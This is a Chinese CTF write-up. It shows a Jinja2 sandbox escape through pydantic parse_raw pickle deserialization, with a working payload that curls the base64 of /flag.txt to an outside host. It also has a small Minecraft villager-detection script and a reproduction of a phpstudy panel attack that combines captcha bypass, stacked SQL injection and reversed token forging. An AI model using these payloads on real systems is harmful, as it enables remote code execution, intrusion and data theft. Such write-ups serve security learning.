好久没写过 WP 了...... 这次还是写写吧

Ninjaclub

由于是最新版的 jinja2, 而且用的是 SandboxedEnvironment, 网上的payload试了试发现过不掉, 于是我们就只能这样

sandbox 的过滤是要求不能调用对象以 _ 开头的, 以及 mro

本地调试下断可以看到, 当前 SSTI 的 Context 下只有这个, 我们在控制台里面调试调试, dir 一下

edcafa66d9805802111197e2127c6c04

测试看到符合条件的有:

  • dict

'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values’

  • cycler

'current', 'next', 'reset’

  • user

'age', 'construct', 'copy', 'description', 'dict', 'from_orm', 'json', 'model_computed_fields', 'model_config', 'model_construct', 'model_copy', 'model_dump', 'model_dump_json', 'model_extra', 'model_fields', 'model_fields_set', 'model_json_schema', 'model_parametrized_name', 'model_post_init', 'model_rebuild', 'model_validate', 'model_validate_json', 'model_validate_strings', 'name', 'parse_file', 'parse_obj', 'parse_raw', 'schema', 'schema_json', 'update_forward_refs', 'validate’

考虑一下 User 哪里来的这么多东西, 感觉其中的有些东西挺有趣的

6641afaaee6b2f43c768950ba4b9d2c0

发现是 BaseModel 的东西, 原来是继承了这玩意儿

我们看看 parse_file

{{user.parse_file("/flag.txt")}}content_copy

6c5d2a0bd8a16198220d379f3f50714d

真能! 但是继续测试发现他会把这个当成 JSON 解析, 和 flag 格式不符合

我们再来吧

79062bf2bffcca15ec5ce5ef9db9bc5a

看到了最爱的 pickle

通过传参:

{{user.parse_raw("str", proto="pickle", allow_pickle=True)}}content_copy

发现能够走到!

此时我们需要将 pickle 好的数据进行稳定的转换到 str 之后也能稳定转回bytes, 在一番测试和寻找后我们锁定到了 bytes.fromhex 于我们可以创建一个 Pickle

import os
import pickle
import base64

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def __reduce__(self):
        return (eval, ("__import__('os').system('curl <http://ctf.kengwang.com.cn:8085/`cat> /flag.txt|base64`')",))

user = User("kengwang", "hatepython")
print(pickle.dumps(user).hex())

# 祖传 Pickle 利用脚本content_copy

最终的 payload 为:

{{user.parse_raw("".encode("utf-8").fromhex("80049572000000000000008c086275696c74696e73948c046576616c9493948c565f5f696d706f72745f5f28276f7327292e73797374656d28276375726c20687474703a2f2f6374662e6b656e6777616e672e636f6d2e636e3a383038352f60636174202f666c61672e7478747c62617365363460272994859452942e"), proto="pickle", allow_pickle=True)}}content_copy

c0b52f32a35b5a06584ca727ac6ac7cc

hideandseek & h1de@ndSe3k

村民在被清除后会在日志中被记录

1d8344a76e36880653f8c41e37016dc0

也可以写一个 MineScript 来 5 秒寻找一次

import minescript
import sys
import time

def detect_villagers():
    entities = minescript.entities(nbt=True)
    for entity in entities:
        if str(entity['type']).find("villager") != -1:
            minescript.echo(entity)
            minescript.chat("Villager detected!")
            return True
    return False
     

while True:
    # show detecting at time
    minescript.echo("Detecting villagers...")
    a = detect_villagers()
    # sleep for 5 seconds
    if not a:
        time.sleep(5)
    else:
        break
content_copy

3e60c2c08dc8c05fc85182de5efcffe9

r3php (复现)

我们可以先拉一个 phpstudy 环境的 Docker 镜像 tarnwang/phpstudy_linux , 将里面的 web.tar.gz 拿出来

打开 PhpStrom 进行代码分析

我们可以来到登录的主要逻辑处 service/app/model/Account.php , 可以看到里面通过 Socket::*request* 与后端进行通信

跟进之后我们可以看到主要逻辑

/**
 * 网络通信模块
 */
class Socket{

    public static function request($data){
        error_reporting(E_ALL);
        set_time_limit(0);
        ***$host = "127.0.0.1";
        $port = 8090;***
        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        //接收套接流的最大超时时间2秒,后面是微秒单位超时时间,设置为零,表示不管它
        socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 2000, "usec" => 0));
         //发送套接流的最大超时时间为6秒
        socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array("sec" => 6, "usec" => 0));
        
        $connection = @socket_connect($socket, $host, $port);
        if(!$connection){
            file_put_contents('socket.log', 'cannot connection '.$host.':'.$port.'  at '.date('Y-m-d H:i:s')."\\r\\n",8);
            return false;
        }
        $_data = json_decode($data,true);
        isset($_SESSION['this_token']) && $_data['token'] = $_SESSION['this_token'];
        $data = json_encode($_data);

        $data .= '^^^';
        socket_write($socket, $data,strlen($data));
        $res = '';
        while ($buff = socket_read($socket,1024)) {
            $encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
            if($encoding=='EUC-CN'){
                $buff = iconv('GBK', 'UTF-8', $buff);
            }

            $res .= $buff;
            if(substr($res,-3)=='^^^'){
                socket_close($socket);
                break;
            }
        }

        $res = rtrim($res,'^^^');
        if($res == 'ipdeny'){
            xpexit(json_encode(array('code'=>403,'msg'=>'该IP被禁止访问')));
        }

        //检验token
        if($_data['command'] != 'login'){
            $res_ = json_decode($res,true);
            if(isset($res_['result'])&&$res_['result']==-2){
                distorySession();
                xpexit(json_encode(array('code'=>1001,'msg'=>'您已经在其他地方登录过了,即将退出当前页面')));
            }
        }
        

        return $res;
    }
}content_copy

经过代码审计可知, 我们需要给 8090 端传入一些json的数据, 以 ^^^ 作为分割

我们可以用 nc 连上去试一试

由于有 IP 校验, 我们在 Docker 容器中起一个 nc

1de169c10855445af3cacb2c84836d56

我们可以找到这个文章

phpstudy小皮面板2023版RCE - dustfree - 博客园

这里的话是和前端进行的交互, 但是验证码是在前端层面进行的校验, 于是我们可以绕过这个验证码, 直接打后端的 SQL 注入

我们可以看看 service/app/model/Account.php 中传输数据的格式

<?php
/**
 * 帐号控制
 */
class Account{
    
    // 登录
    public static function login($username,$pwd,$verifycode){
        if($username==''){
            return array('code'=>1,'msg'=>'用户名不能为空');    
        }
        if($pwd == ''){
            return array('code'=>1,'msg'=>'密码不能为空');
        }
        if(!sessionStarted()){
            sessionStart();
        }
        if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
            return array('code'=>1,'msg'=>'验证码不正确');
        }
        **$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
        $res = Socket::request($request);**
        if(!$res){
            return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
        }
        $res = json_decode($res,true);
        if($res['result'] == -1){
            return array('code'=>300,'msg'=>$res['msg']);
        }
        if($res['result'] == 0){
            return array('code'=>1,'msg'=>$res['msg']);
        }

        //token校验
        $_SESSION['this_token'] = $res['token'];
        // $access_token = md5(time()).md5(rand(1,100));
        $access_token = $res['token'];
        $_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
        $res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
        return $res;
    }
    
    // 退出登录
    public static function logout(){
        if(!sessionStarted()){
            sessionStart();
        }
        unset($_SESSION['admin']);
        distorySession();
        $res = array('code'=>0,'msg'=>'退出成功','data'=>null);
        return $res;
    }
}content_copy

关注到加粗行, 我们可以依次来传入一个 JSON

{
  "command": "login",
  "data": {
    "username": "",
    "pwd": "kwkwkw"
  }
}content_copy

参考文章说 username 存在堆叠注入, 我们尝试进行

47d09cfdf56c08bf5f01d75959ce583d

之后再进行登录

9492188d52b9d161494ee4cfc7cac9e8

发现注入成功

我们期望来找到后端的数据库结构来对症下药

接下来是后端了, 后端的话加了个 upx 壳, 我们把他脱掉, 拖进 IDA 里面分析

下面是文件, 这个是 LInux 可执行 ELF 文件

phpstudy.bin

由于数据库无法打开, 我们直接在程序中找 SQL 语句

找到 CTaskMng::AddTask 中的

 v15 = CSqlite::ExecSql(
            v14,
            a3,
            "INSERT INTO TASKMNG (TITLE,TYPE,CYCLE,TIME,ADDTIME,SHELL,SITES,UID,PCS,TASK_TYPE,DBS,ACTION)            VALU"
            "ES('%s',%d,'%s','%s','%s','%s','%s',%d,%d,%d,'%s','%s')",
            v26,
            v22,
            v25,content_copy

于是我们根据参数猜内容

当然我们也可以起一个 Fake Server 来抓出后端与前端的交互逻辑

我们再看看允许哪些 command

5cbaeba9be7a5e9459bb153b16751738

经过了 30 分钟的反编译:

disk
cpu_mem
installed_soft
sync_shop
get_running_server
system_info
save_ftp_pwd
site_network
site_list
site_edit
site_save
site_delete
site_delete_batch
index_page
404_page
apache_page
stop_page
save_default_page
site_start
site_stop
site_list_with_default
save_default_site
site_backup
default_siteport
get_default_site_port
dblist
add_db
del_db
editor_root_pwd
get_mysql_root_pwd
open_close_mysql_remote
mysql_root_remote_status
dobackup
backup_list
download_remote_backfile
dbbackup_del
recovery
get_back_file
get_db_back_file
file_sql
sql_file_list
import_sql
del_sql
showpwd
db_user_pwd
save_db_pwd
edit_access
get_db_access_info
default_ftp_folder
save_ftp
ftpLists
show_ftp_pwd
ftp_site_status
ftp_port
save_ftp_port
del_ftp
ftp_user_pwd
ftp_pwd_save
monitor_show_all
monitor_cpu
monitor_memory
monitor_disk
monitor_network
monitor_save_day_num
monitor_clear
monitor_switch
security_firwall_auto_open
security_firwall_auto_close
security_port_ip
allow_port
deny_ip
del_port
del_ip
security_firwall_open
security_firwall_close
save_sshport
security_ssh_close
security_ssh_open
security_ping_open
security_ping_close
clear_weblog
file_lists
create_folder
create_file
rename_files
del_files
docopy_file
doshears_file
compress
save_file_contents
file_history
load_sys_users
set_rights
file_recycle_lists
recycles_restore
recycles_real_delete
getlogs
clearlog
getsetting
access_ip
save_setting
auto_update
pane_state
sync_time
login
agree_user_agreement
update_pane_username
modifypwd
update_pane_pwd
add_domains
load_domains
del_domain
site_folder
save_site_foler
redirect301
save_redirect301
flow_limit
save_flow_limit
cur_rewrite_static
save_rewrite_static
save_as_rewrite_static
del_rewrite_static
apache_nginx_config
save_apache_nginx_config
do_recovery_config
php_versions
save_php_versions
save_php_cli_versions
php_cli_versions
get_ssl_config
save_ssl_config
get_free_ssl
certs_lists
get_tencent_free_ssl
check_tencent_cert_status
get_tencent_cert_item_status
del_cert_tencent
deploy_cert_tencent
del_cert
get_stealing_link_config
save_stealing_link_config
server_list
save_server_info
get_admin
admin_lists
del_admin
add_admin
modifyusername
editor_admin
getMenus
save_menus
del_menu
role_lists
del_role
load_role_menus
edit_role
add_role
get_sys_menus
soft_lists
get_soft_install_sites
uninstall
install_soft
cancel_install
install_process
show_index
set_and_install
uninstall_need_config
manage_app
soft_stop
soft_start
restart_soft
check_upgrade
upgrade_now
databases_settings
task_list
save_shell
del_task
exec_task
viewscript
log_list
clear_task_logs
save_proxy
load_reverse_proxy
site_ftp_list
db_ftp_list
save_backup_site
save_backup_db
add_waf_white_ips
waf_white_ips
del_rule
get_ip_mac
add_waf_black_ips
waf_black_ips
save_cc
save_endurance
cc_attack
endurance
del_cc
del_endurance
cc_open
cc_logs
del_cc_log
clean_cc_log
cc_open_logs
save_waf_url_whites
waf_url_whites
url_white_open
save_waf_url_black
waf_url_blacks
save_black_uas
black_uas
save_black_args
black_args
save_black_cookies
black_cookies
save_post_args
post_args
post_args_open
save_filext
filext_list
get_file_path
check_waf_rule
do_upgrade_waf_rule
php_exts
php_ext_status
php_params
save_php_params
php_config
save_php_config
dis_funcs
save_dis_funcs
del_dis_func
php_loadstatus
php_performance
save_php_performance
auto_set_php_performance
php_session_config
save_php_session_conifg
php_logs
nginx_config
apache_config
mysql_config
redis_config
memcached_config
mongodb_config
save_nginx_config
save_apache_config
save_mysql_config
save_redis_config
save_memcached_config
save_mongodb_config
nginx_error_log
apache_error_log
mysql_logs
nginx_performance
save_nginx_performance
nginx_loadstatus
apache_loadstatus
apache_performance
save_apache_performance
mysql_performance
save_mysql_performance
mysql_status
mysql_port
save_port
txt_mysql_slow_logs
redis_performance
save_redis_performance
redis_loadstatus
cpu_mem_io
server_visits
monitor_indicators
mysql_storage
save_mysql_storage_path
save_visit_url
memcached_performance
save_memcached_performance
memcached_loadstatus
waf_site_list
rule_enable
save_rule_item
get_key_string
get_key_string_new
args_black_open
cookie_black_open
soft_installed
waf_check
get_default_index
save_default_index
get_apache_nginx_config
waf_installed
ping
file_upload
set_root_pwd
decompress_file
waf_indicators
waf_open
get_filesafe_overview
filesafe_status
filesafe_open_stop
fielsafe_logs
del_filesafe_protect
fielsafe_optlogs
xpdiskmount_optlogs
load_exclude_files
del_exclude
filesafe_exclude
get_diskmount_data
do_path_mount
do_path_unmount
disk_clear
xplogin_info
check_xp_login
get_webshell_url
sync_websell_ssh_port
save_webshell_config
webshell_info
webshell_composer_info
is_soft_running
check_buy_soft
loginxp
pay_buywx
create_buy_qrcode
mongodb_ipport
mc_file_upload
mc_file_download
pane_api_info
save_pane_access_ip
del_pane_access_ip
mc_get_status
mc_site_lists
mc_add_site
press_file_process
mc_get_websites
mc_save_ssl_cert
mc_install_soft
mc_uninstall_soft
mc_start_soft
mc_stop_soft
mc_get_soft_status
mc_exec
mc_backup_sites
mc_backup_dbs
mc_file_access
download_remote_file
download_remote_file_process
mc_set_balance
mc_rm_balance
mc_add_slave_user
mc_show_master
mc_set_slave
mc_start_slave
mc_mysql_drop_slave_user
mc_stop_slave
mount_unmount_process
is_qrcode_scanned
qrcode_scan
get_account_qiniu
get_account_tencentoss
save_qiniu_account
save_tencentoss_account
save_alioss_account
get_account_alioss
file_list_qiniu
file_list_tencentoss
file_list_alioss
del_qiniu_files
del_tencentoss_files
del_alioss_files
do_create_qiniu_folder
do_create_tencentoss_folder
do_create_alioss_folder
get_qiniu_file_download_url
get_tencentoss_file_download_url
get_alioss_file_download_url
installed_cloud_lists
site_access_log
shell_login_logs
calculate_folder_size
get_progress_lists
close_process
close_process_tree
site_dataxp_analysis_basics
get_view_pages
get_landing_list
get_firewall_top
get_source_list
get_source_detail
get_spider_list
get_spider_detail
get_realtime_view
get_error_pages
get_firewall_detail
get_firewall_ip_detail
get_errorcode_detail
get_mongodb_list
del_mongodb
create_mongodb
get_mongodb_config_items
save_config_item
mongodb_logs
init_localhost
save_xppush_monitor
get_xppush_service_status
save_xppush_service_status
get_xppush_service_list
save_xppush_email
get_xppush_email
get_xppush_logs
clear_xppush_logs
save_xppush_wxmsg_auth_code
get_xppush_wxmsg_auth_code
save_shell_edit
save_visit_url_edit
save_backup_site_edit
set_task_status
reset_sitefile_rights
get_sql_detail_pathcontent_copy

但是这里有一个判断 Token 错误的逻辑

cd4dd19c3d6686ed302707ecca2403ce

我们只有 login 的指令的权限, 于是我们只能走到这里面了

跟踪到了 CAdminMng::MakeUserToken , 易知函数原型 CAdminMng::MakeUserToken(std::string)

我们尝试优化一下逆向出来的代码 (感谢 GPT):

// CAdminMng::MakeUserToken(std::string)
CUtil *__fastcall CAdminMng::MakeUserToken(CUtil *a1, __int64 a2, const char **a3)
{
  int TimeStamp = CUtil::getTimeStamp(a1);
  char buffer[32];
  snprintf(buffer, 32, "%lu", TimeStamp);
  std::string token = std::string(*a3) + buffer;
  
  __int64 v22[2];
  CUtil::md5(v22, (__int64 *)token.data(), token.size());
  CUtil::md5(a1, v22);
  
  return a1;
}content_copy

可以看到我们的计算逻辑是 md5(md5(用户名 + 时间戳))

我们可以先重置密码, 然后发登录包, 之后算出token, 再通过 token 交互

class CAdminMng:
    @staticmethod
    def getTimeStamp():
        return int(time.time())

    @staticmethod
    def md5(data : str):
        return hashlib.md5(data.encode()).hexdigest().upper()

    @staticmethod
    def MakeUserToken(a1 : str):
        TimeStamp = CAdminMng.getTimeStamp()
        buffer = "%lu" % TimeStamp
        token = a1 + buffer

        v22 = CAdminMng.md5(token)
        v24 = CAdminMng.md5(v22)

        return v24content_copy